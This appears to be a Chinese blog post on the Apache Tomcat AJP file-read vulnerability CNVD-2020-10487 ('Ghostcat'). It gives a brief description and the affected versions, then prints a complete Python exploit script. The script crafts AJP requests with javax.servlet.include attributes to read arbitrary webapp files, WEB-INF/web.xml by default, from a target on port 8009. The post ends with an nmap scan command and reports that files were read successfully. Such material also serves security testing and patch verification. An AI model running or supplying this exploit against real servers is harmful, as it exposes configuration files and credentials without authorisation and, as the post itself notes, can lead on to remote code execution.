漏洞描述：
Apache Tomcat是美国阿帕奇（Apache）软件基金会的一款轻量级Web应用服务器。该程序实现了对Servlet和JavaServer Page（JSP）的支持。
Tomcat AJP协议由于存在实现缺陷导致相关参数可控，攻击者利用该漏洞可通过构造特定参数，读取服务器webapp下的任意文件。若服务器端同时存在文件上传功能，攻击者可进一步实现远程代码的执行。
受影响版本：
lTomcat 6 (已不受维护)
lTomcat 7 Version < 7.0.100
lTomcat 8 Version < 8.5.51
lTomcat 9 Version < 9.0.31
执行poc or exp ：
1 #!/usr/bin/env python
2 # CNVD-2020-10487 Tomcat-Ajp lfi
3 # by ydhcui
4 import struct
5 from io import StringIO
6
7
8 # Some references:
9 # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
10 def pack_string(s):
11 if s is None:
12 return struct.pack(">h", -1)
13 l = len(s)
14 return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
15
16
17 def unpack(stream, fmt):
18 size = struct.calcsize(fmt)
19 buf = stream.read(size)
20 return struct.unpack(fmt, buf)
21
22
23 def unpack_string(stream):
24 size, = unpack(stream, ">h")
25 if size == -1: # null string
26 return None
27 res, = unpack(stream, "%ds" % size)
28 stream.read(1) # \0
29 return res
30
31
32 class NotFoundException(Exception):
33 pass
34
35
36 class AjpBodyRequest(object):
37 # server == web server, container == servlet
38 SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
39 MAX_REQUEST_LENGTH = 8186
40
41 def __init__(self, data_stream, data_len, data_direction=None):
42 self.data_stream = data_stream
43 self.data_len = data_len
44 self.data_direction = data_direction
45
46 def serialize(self):
47 data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
48 if len(data) == 0:
49 return struct.pack(">bbH", 0x12, 0x34, 0x00)
50 else:
51 res = struct.pack(">H", len(data))
52 res += data
53 if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
54 header = struct.pack(">bbH", 0x12, 0x34, len(res))
55 else:
56 header = struct.pack(">bbH", 0x41, 0x42, len(res))
57 return header + res
58
59 def send_and_receive(self, socket, stream):
60 while True:
61 data = self.serialize()
62 socket.send(data)
63 r = AjpResponse.receive(stream)
64 while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
65 r = AjpResponse.receive(stream)
66
67 if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
68 break
69
70
71 class AjpForwardRequest(object):
72 _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(
73 28)
74 REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE,
75 'TRACE': TRACE}
76 # server == web server, container == servlet
77 SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
78 COMMON_HEADERS = ["SC_REQ_ACCEPT",
79 "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE",
80 "SC_REQ_AUTHORIZATION",
81 "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE",
82 "SC_REQ_COOKIE2",
83 "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
84 ]
85 ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert",
86 "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
87
88 def __init__(self, data_direction=None):
89 self.headers = None
90 self.prefix_code = 0x02
91 self.method = None
92 self.protocol = None
93 self.req_uri = None
94 self.remote_addr = None
95 self.remote_host = None
96 self.server_name = None
97 self.server_port = None
98 self.is_ssl = None
99 self.num_headers = None
100 self.request_headers = None
101 self.attributes = None
102 self.data_direction = data_direction
103
104 def pack_headers(self):
105 self.num_headers = len(self.request_headers)
106 res = ""
107 res = struct.pack(">h", self.num_headers)
108 for h_name in self.request_headers:
109 if h_name.startswith("SC_REQ"):
110 code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
111 res += struct.pack("BB", 0xA0, code)
112 else:
113 res += pack_string(h_name)
114
115 res += pack_string(self.request_headers[h_name])
116 return res
117
118 def pack_attributes(self):
119 res = b""
120 for attr in self.attributes:
121 a_name = attr['name']
122 code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
123 res += struct.pack("b", code)
124 if a_name == "req_attribute":
125 aa_name, a_value = attr['value']
126 res += pack_string(aa_name)
127 res += pack_string(a_value)
128 else:
129 res += pack_string(attr['value'])
130 res += struct.pack("B", 0xFF)
131 return res
132
133 def serialize(self):
134 res = ""
135 res = struct.pack("bb", self.prefix_code, self.method)
136 res += pack_string(self.protocol)
137 res += pack_string(self.req_uri)
138 res += pack_string(self.remote_addr)
139 res += pack_string(self.remote_host)
140 res += pack_string(self.server_name)
141 res += struct.pack(">h", self.server_port)
142 res += struct.pack("?", self.is_ssl)
143 res += self.pack_headers()
144 res += self.pack_attributes()
145 if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
146 header = struct.pack(">bbh", 0x12, 0x34, len(res))
147 else:
148 header = struct.pack(">bbh", 0x41, 0x42, len(res))
149 return header + res
150
151 def parse(self, raw_packet):
152 stream = StringIO(raw_packet)
153 self.magic1, self.magic2, data_len = unpack(stream, "bbH")
154 self.prefix_code, self.method = unpack(stream, "bb")
155 self.protocol = unpack_string(stream)
156 self.req_uri = unpack_string(stream)
157 self.remote_addr = unpack_string(stream)
158 self.remote_host = unpack_string(stream)
159 self.server_name = unpack_string(stream)
160 self.server_port = unpack(stream, ">h")
161 self.is_ssl = unpack(stream, "?")
162 self.num_headers, = unpack(stream, ">H")
163 self.request_headers = {}
164 for i in range(self.num_headers):
165 code, = unpack(stream, ">H")
166 if code > 0xA000:
167 h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
168 else:
169 h_name = unpack(stream, "%ds" % code)
170 stream.read(1) # \0
171 h_value = unpack_string(stream)
172 self.request_headers[h_name] = h_value
173
174 def send_and_receive(self, socket, stream, save_cookies=False):
175 res = []
176 i = socket.sendall(self.serialize())
177 if self.method == AjpForwardRequest.POST:
178 return res
179
180 r = AjpResponse.receive(stream)
181 assert r.prefix_code == AjpResponse.SEND_HEADERS
182 res.append(r)
183 if save_cookies and 'Set-Cookie' in r.response_headers:
184 self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
185
186 # read body chunks and end response packets
187 while True:
188 r = AjpResponse.receive(stream)
189 res.append(r)
190 if r.prefix_code == AjpResponse.END_RESPONSE:
191 break
192 elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
193 continue
194 else:
195 raise NotImplementedError
196 break
197
198 return res
199
200
201 class AjpResponse(object):
202 _, _, _, SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
203 COMMON_SEND_HEADERS = [
204 "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
205 "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
206 ]
207
208 def parse(self, stream):
209 # read headers
210 self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
211
212 if self.prefix_code == AjpResponse.SEND_HEADERS:
213 self.parse_send_headers(stream)
214 elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
215 self.parse_send_body_chunk(stream)
216 elif self.prefix_code == AjpResponse.END_RESPONSE:
217 self.parse_end_response(stream)
218 elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
219 self.parse_get_body_chunk(stream)
220 else:
221 raise NotImplementedError
222
223 def parse_send_headers(self, stream):
224 self.http_status_code, = unpack(stream, ">H")
225 self.http_status_msg = unpack_string(stream)
226 self.num_headers, = unpack(stream, ">H")
227 self.response_headers = {}
228 for i in range(self.num_headers):
229 code, = unpack(stream, ">H")
230 if code <= 0xA000: # custom header
231 h_name, = unpack(stream, "%ds" % code)
232 stream.read(1) # \0
233 h_value = unpack_string(stream)
234 else:
235 h_name = AjpResponse.COMMON_SEND_HEADERS[code - 0xA001]
236 h_value = unpack_string(stream)
237 self.response_headers[h_name] = h_value
238
239 def parse_send_body_chunk(self, stream):
240 self.data_length, = unpack(stream, ">H")
241 self.data = stream.read(self.data_length + 1)
242
243 def parse_end_response(self, stream):
244 self.reuse, = unpack(stream, "b")
245
246 def parse_get_body_chunk(self, stream):
247 rlen, = unpack(stream, ">H")
248 return rlen
249
250 @staticmethod
251 def receive(stream):
252 r = AjpResponse()
253 r.parse(stream)
254 return r
255
256
257 import socket
258
259
260 def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
261 fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
262 fr.method = method
263 fr.protocol = "HTTP/1.1"
264 fr.req_uri = req_uri
265 fr.remote_addr = target_host
266 fr.remote_host = None
267 fr.server_name = target_host
268 fr.server_port = 80
269 fr.request_headers = {
270 'SC_REQ_ACCEPT': 'text/html',
271 'SC_REQ_CONNECTION': 'keep-alive',
272 'SC_REQ_CONTENT_LENGTH': '0',
273 'SC_REQ_HOST': target_host,
274 'SC_REQ_USER_AGENT': 'Mozilla',
275 'Accept-Encoding': 'gzip, deflate, sdch',
276 'Accept-Language': 'en-US,en;q=0.5',
277 'Upgrade-Insecure-Requests': '1',
278 'Cache-Control': 'max-age=0'
279 }
280 fr.is_ssl = False
281 fr.attributes = []
282 return fr
283
284
285 class Tomcat(object):
286 def __init__(self, target_host, target_port):
287 self.target_host = target_host
288 self.target_port = target_port
289
290 self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
291 self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
292 self.socket.connect((target_host, target_port))
293 self.stream = self.socket.makefile("rb")
294
295 def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
296 self.req_uri = req_uri
297 self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri,
298 method=AjpForwardRequest.REQUEST_METHODS.get(method))
299 print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
300 if user is not None and password is not None:
301 self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + (
302 "%s:%s" % (user, password)).encode('base64').replace('\n', '')
303 for h in headers:
304 self.forward_request.request_headers[h] = headers[h]
305 for a in attributes:
306 self.forward_request.attributes.append(a)
307 responses = self.forward_request.send_and_receive(self.socket, self.stream)
308 if len(responses) == 0:
309 return None, None
310 snd_hdrs_res = responses[0]
311 data_res = responses[1:-1]
312 if len(data_res) == 0:
313 print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
314 return snd_hdrs_res, data_res
315
316
317 '''
318 javax.servlet.include.request_uri
319 javax.servlet.include.path_info
320 javax.servlet.include.servlet_path
321 '''
322
323 import argparse
324
325 parser = argparse.ArgumentParser()
326 parser.add_argument("target", type=str, help="Hostname or IP to attack")
327 parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
328 parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
329 args = parser.parse_args()
330 t = Tomcat(args.target, args.port)
331 _, data = t.perform_request('/asdf', attributes=[
332 {'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']},
333 {'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', args.file]},
334 {'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']},
335 ])
336 print('----------------------------')
337 # print("".join([d.data.decode('utf_8') for d in data]))
338 print("".join([d.data.decode('gbk') for d in data]))
339 # print(''.join(data))
nmap命令nmap -sV -p 8080 --script ssl-enum-ciphers xx.xx.xx.xx
执行poc脚本，成功获取到ROOT下的文件内容
标签：Tomcat,stream,res,self,headers,2020,1938,data,pack From： https://www.cnblogs.com/worldbugMsg/p/16791384.html